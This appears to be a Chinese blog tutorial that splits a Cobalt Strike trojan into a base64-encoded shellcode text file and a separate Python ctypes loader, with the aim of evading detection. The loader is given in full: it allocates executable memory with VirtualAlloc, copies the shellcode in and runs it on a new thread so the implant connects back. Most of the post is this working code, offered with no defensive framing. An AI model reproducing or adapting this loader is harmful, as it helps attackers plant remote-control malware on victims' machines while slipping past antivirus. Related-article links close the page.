无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
sweet丶4 小时前
加密算法、摘要指纹、签名、CA证书全面梳理笔记
安全
他是龙5516 小时前
71:Python安全 & 反序列化 & PYC反编译 & 格式化字符串安全
开发语言·python·安全
幸福巡礼8 小时前
【LangChain 1.2 实战(八)】Agent Middleware 实战 —— 动态路由、监控、安全与容错
java·安全·langchain
xixixi777778 小时前
深度解读:网信办“清朗·整治AI应用乱象”专项行动,AI产业告别野蛮生长,全面迈入合规治理深水区
人工智能·安全·ai·大模型·合规·深度伪造·网信办
weixin_lizhao8 小时前
50天独立打造企业级API网关(二):安全防护体系与弹性设计
java·spring boot·安全·spring cloud·gateway
記億揺晃着的那天9 小时前
Claude Code 系统提示词里的安全底线:OWASP Top 10
安全·ai·ai编程·vibe coding·claude code
重明链迹实验室10 小时前
重明链迹丨每周区块链安全要闻(0427-0503)
安全·web3·区块链
百度安全11 小时前
HugeGraph 晋升 Apache 顶级项目 百度安全持续筑牢 AI 时代图数据基础设施
数据库·人工智能·安全·知识图谱
Bruce_Liuxiaowei12 小时前
AI投毒产业链曝光:安全工程师怎么看、怎么防
人工智能·安全·ai·投毒
Amy1870211182313 小时前
虚拟电厂为什么必须“牵手”微电网?答案全在这里
分布式·安全·能源